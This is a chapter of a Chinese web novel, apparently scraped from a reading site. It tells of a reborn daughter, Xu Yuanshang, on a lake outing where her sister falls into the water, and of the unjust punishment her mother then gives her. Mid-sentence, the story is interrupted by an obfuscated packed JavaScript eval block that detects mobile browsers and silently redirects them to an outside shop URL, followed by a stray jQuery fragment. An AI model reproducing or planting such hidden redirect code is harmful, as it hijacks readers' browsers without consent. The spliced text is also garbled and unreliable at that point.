8. 不分青红皂白
    跟着许安窈出来,果然很不舒服。本就不太会坐车的许元熵现在是头昏眼胀,整个人怏怏的。

    “四妹妹,你怎么了。”许安窈与她同乘一辆马车,总是找话题想与许元熵聊聊天,奈何人家只是平平嗯一声回答。

    “头晕。”许元熵惜字如金,马车也不知驶到何处,颠簸的厉害。

    “原来你不会坐车啊,早知如此我就不拉着你出来了。”许安窈连忙打开侧窗,“透透气会不会好些?”

    许元熵不适地睁开眼,看见一脸担心的许安窈这心里就烦躁起来。

    “多谢姐姐照顾。”许元熵又闭上眼睛,眉头一直没有放松下来。

    这样的姐姐为何要杀自己?就因为那个程家大朗?坐车难受,动脑子更难受,许元熵干脆放弃思考。

    距离被许安窈掐死还有两年之久,许元熵并不着急眼下就找到缘由。

    好不容易到了城外湖边,马车一停许元熵飞快地从马车里窜了出来,快步到一旁的树丛,弯着腰呕吐。

    “呕……”不应该啊,明明从怀安到京城都没这样。许元熵的胃在翻江倒海,脸色阴沉沉的。

    “四妹妹,你……”许安窈下马车后就没看见许元熵,只瞧见一抹蓝色飞过去,追上来时正要关心。

    有人在她之前,那人身穿靛蓝色的圆领袍,红色腰带隐隐显出腰身,身约有八尺,只从背影便透着潇洒俊郎。

    “四妹妹,你没事吧。”许安窈收回心神,抢在这人之前跑到许元熵身边。

    许元熵接过许安窈递过来的手帕,“…我缓一下就好了,三姐姐不必担心。”

    “我让二鸳去取水了,你再等等就能舒服了。”许安窈拍着许元熵的背,动作很轻缓。

    许元熵杂乱的呼吸渐渐平缓,喝了点水确实好多了。

    “谢谢三姐姐。”许元熵脸上有了血气,脸颊微微泛红,“三姐姐,我是不是给你添麻烦了。”

    远处的贵女接二连三下了马车,也就他们许家两个姑娘躲在树丛里。

    “是我没弄清楚你受不了颠簸,你就别自责了。”许安窈牵着许元熵的手,故作生气,“你要是再说这些,我以后真不带你出来了。”

    许元熵突然被牵住,手上温温热热的,这种感觉好奇怪——心在被来回拉扯……还不如像母亲一样一开始就恶语相向。

    许元熵微微低着头,许安窈拉着她朝人群走去。方才那人不知为何定定站在那,袖子里藏着的手帕被手攥着。

    “大人,时候不早了,秦王世子怕是已经到了。”前几日被他提拔上来的刘二儒找到他。

    那人收拢了心神,勾起嘴角浅浅一笑,“时候确实不早了。”

    他抬脚时目光顺着许元熵的方向看去,落在许元熵身上时带着晦涩不明的光,转向许安窈时猛地沉下去,看不清情绪地蹙起眉头。

    他抬脚,许元熵也抬脚了,二人背道相驰未曾碰面。

    四月的阳光温顺不晒人,许元熵跟在她们后边,风轻轻吹来时脚步都轻快了许多。

    “听闻相府四小姐回来了,不知今日可来了。”吴二姐手里摇着团扇,身上是橘红色月牙纹衣裙,加之嚣张气焰,在众女中格外显眼。

    “我四妹妹在这。”许安窈与吴二姐交好,回应她时还带着俏皮。

    许元熵懵懵的,被许安窈拉到前边去。

    突然好几双眼睛都在打量许元熵,或好奇或轻蔑或疑惑。

    “这四姑娘长得倒白净。”吴二姐不过扫了许元熵一眼,转而看向许安窈,脸上带笑,“不过拿不上台面。”

    “吴姐姐,这可是我妹妹,怎么可能上不来台面。”许安窈护崽似地挡在许元熵面前,微微抬着下巴。

    “就算是你妹妹,那也是在乡下地方长大的。从开始到现在就一直躲着,现在还低着头,这样怯场,还不如不要出门的好。”吴二姐怎么看许元熵怎么不顺眼,说的话越来越难听,她走近许元熵,凑到她耳边,“人才到京城就勾引人,小小年纪不学好,我可有的是法子收拾你。”

    许元熵惊慌地后退几步,这次没有多说什么,怎么吴二姐还是针对自己,甚至比前世厌恶程度还要重。

    “吴姐姐,我小妹不过初来乍到,你怎么能凭着见一面就对她这般讨厌。”许安窈把许元熵再次拉到身后。

    “差不多就行了。”这个清冷声音的主人是宋国公独女宋妙灵,她慵懒地睁着眼睛好像没睡醒,从几人中走过去,谁也不搭理。

    一下子没人吭声,人人都清楚宋妙灵说的是谁。

    吴二姐没再说什么,瞪了许元熵一眼之后转身就走。许元熵偷偷看了一眼那个清瘦的背影,这个人对她有点印象,好像和谁关系很好来着……

    “四妹妹,吴姐姐的话你别太放在心上,她只是第一次见你不了解,以后相处久了定会喜欢你的。”许安窈拍拍许元熵的肩膀,语气温柔。

    许元熵点点体验,试探地看了许安窈一眼,“姐姐,我不该出来的。”

    “怎么能这么说呢,你且跟着我好好玩,今日定要玩个开心。”许安窈拍拍胸脯,信誓旦旦。

    许元熵默默收声,还是继续当哑巴,免得惹祸上身。

    许元熵每一步都走的小心,平静的湖面不比她七上八下的小心脏,糊作一团。说实话,这个地方许元熵真不想再来一次,华春在此丧命的画面还历历在目。

    “三姐姐,我想回去马车上待着。”许元熵怕了,拉了拉许安窈的衣袖。

    许安窈清亮的眼眸蓦地闪过一丝寒意,很快她担心起来,“你还是不舒服吗?”

    许元熵点点头以示回应。

    “既然这样,二鸳你陪四妹妹回去吧。”许安窈的声音不算大声,但也吸引了不少人的注意,其中就有吴二姐。

    “今日来游湖的好像还有些个新秀,那状元郎也来了。”吴二姐身旁有人看懂了吴二姐眼中的怀疑,于是故意这样提起。

    “方才我好像看见了状元郎,一身靛蓝……和许四姑娘甚是相像。”

    这句话瞬间让吴二姐的火从肚子窜到了头顶,手上的团扇子咔嚓一声被折断了。

    “我们都在这,你要去哪?”吴二姐质问道。

    许元熵不太明白,怎么就扯上什么状元郎了,“我怕扰了大家兴致。”

    “吴姐姐,这事赖我,我不知道妹妹做不来车,这才让她难受到现在。”许安窈陪着笑。

    吴二姐冷笑一声,“我就奇了怪了,怎么今日个个都向着你这个丫头。装着一副柔弱样子,既然怕扰了兴致那你还来。”

    许元熵:“……”我不想来,但是不得不来——这话没法说出口。

    “你怎么不说话了?!你这丫头,我看你就是不老实。”吴二姐冲着许元熵斥责,许元熵被逼的往后退。

    湖水潺潺的声音越来越近,许元熵听不清楚吴二姐在说什么了。

    “你,你哭什么。”吴二姐也没想把人说哭,这不都是事实吗。

    许元熵才发现眼泪跟断线的珠子一样掉下来,她用手去擦却怎么也擦不干净,反而越来越多。

    吴二姐看她这副笨样子就烦,抽出腰间别着的丝巾扔给许元熵,“你装给谁看?我可是打你还是骂你了?”

    “吴二姐,你别太过分了!”许安窈几个大步上前,叫住了吴二姐,却刹不住车脚被枯枝一绊朝许元熵扑去。

    许元熵擦眼泪的空隙其实早就看见许安窈的动作了,随着许安窈一声尖叫,扑通——

    “三姐姐!”许元熵瘫软在地上不知所措,许安窈掉到了湖里,在湖面一上一下折腾着。

    二鸳急得找不着北,脑袋一热跳进去救主,“小姐,抓着奴婢的手。”

    生死一线,许安窈没功夫去想许元熵怎么避开的,在抓住二鸳的胳膊后也不放手。

    许元熵手撑着地站起来,步履匆匆走到湖里,湖水浸过膝盖,正好二鸳伸过来的手她能抓住。

    主仆二人这才有惊无险脱了湖水,许元熵扶着许安窈,丫鬟取了披风给许安窈披上,许安窈在风中凌乱了一会。

    “各位姐姐,我现在这幅样子只能失陪了。”在湖里泡了一会的缘故,许安窈嘴唇发白,脸上附着水珠,整

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361989|140831||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个人看上去我见犹怜。

    许元熵依旧是默不作声跟着许安窈,安静得让吴二姐暂时忘记了她的存在。

    宋妙灵闲坐在亭间,微微眯眼,盯着那个看似呆傻的许元熵。

    “今日天气也不怎么好,翠竹,撑伞。”宋妙灵旁若无人,自顾自走了。

    吴二姐气不打一处来,“你们一个个就看她脸色了?!早知道这么坏心情我就不来了。”

    等到吴二姐走远,才有声音出来。

    “还不是为了看看状元郎,人不理她她就来这撒气。”

    这句话打开了其他人的话匣子,一个接一个议论刚刚的趣事。七嘴八舌说了很多,独独没人敢说宋妙灵什么。

    轱辘轱辘——

    先退场的许家两姐妹,二人看上去狼狈,尤其是许安窈,天气还未转热湖水亦是冰冷。

    许安窈全身湿嗒嗒的,就是擦干净了也还是湿漉漉的。

    许元熵双手攥着裙裾,抿着嘴一脸难色。

    “三姐姐……你还好吗。”许久,许元熵才开口打破了沉默。

    许安窈噗嗤笑了一声,“我没什么事,就是冷而已。”

    “你日后离吴二姐远些,别受了委屈。”

    “我知道了。”许元熵应下来,回去之后会怎么样呢,怕是多为责骂。

    不出许元熵所料又有些超出意料——柳春扶见到两姐妹这样狼狈,竟不顾大庭广众之下在门口就给了许元熵一记耳光。

    “你一出去就害得你姐姐落水,真是居心险恶。”

    巴掌声还在耳边没有消散,接踵而来的就是母亲定下的罪名。

    “你给我去祠堂跪着,没有我的允许不准起来。”

    “母亲,这事不怪妹妹,是我自己没站稳。”许安窈冰凉的手拉住柳春扶的手腕,刹那间柳春扶眉目柔和下来,“窈儿你快去换身衣裳。二鸳还不速速带小姐进去。”

    许安窈:“母亲,别责罚妹妹,今日是我带她出去,出了事自由我受着。”

    “那便跪个三炷香,在兰轩阁好好待着。”柳春扶松了口,许安窈还要说什么已经被人拉进去了

    许元熵摸着火辣辣的右脸,垂着脑袋若有所思。她的目光放在下半身衣裙上,这是湿的,粘着腿好难受,不过幸好没有掉到湖里。

    许元熵如此一想顿时心情愉悦,跪在祠堂也觉得没什么,至少华春没事。

    许元熵跪了半天,门外是刘妈妈的人,时不时看向里边。三炷香早就过去了,可是外头的几双眼睛还是盯着。

    许元熵感受着小腿上粘着的布料慢慢变干,闭上眼睛后尤为明显。

    她突然想到前世,华春没了,自己除了哭什么也不会,回了相府被责骂的那个人还是她许元熵……

    “我来看妹妹还要你管?”

    外头传来许慎宁的声音,许元熵睁开眼睛,扭头望去。

    许慎宁朝许元熵笑了笑,“四妹妹,想我没。”

    许元熵的喉咙酸了,口中的津|液咽下时很疼,她声音有些沙哑,“……二哥哥。”

    委屈的酸水在肚子里翻滚,许元熵眼眶红了,死死盯着许慎宁。

    “四妹妹,你这衣服怎么还湿了。”许慎宁蹲下身一眼就瞧见了色差,这一摸潮湿冰冷,他啧了一声。

    “别跪了,这事本来就不是你的错,快点回去换身干爽的衣裳。”许慎宁把她起来,但是许元熵的双腿早就麻了,根本站不住。

    “二哥背你回去。”许慎宁蹲下去,许元熵乖乖上去。

    “四妹妹,这次是母亲过了,你还跪什么跪啊。要不是你那个侍女来报信,你得跪到明晚。”

    许元熵耷拉着眼皮,有些困倦,听了许慎宁的话才知道华春为何没出现,但是她是怎么去的国子监怎么找到二哥哥。

    许元熵挨着许慎宁不觉得冷了,眼皮越来越沉重,索性就这样闭上眼睛……二哥哥会带我回去的。

    许慎宁察觉背上的人睡着之后就安静下来了,许元熵不聪明这事他算是确定了,真是好奇她怎么长这么大的,居然没被怀安那些人吃了。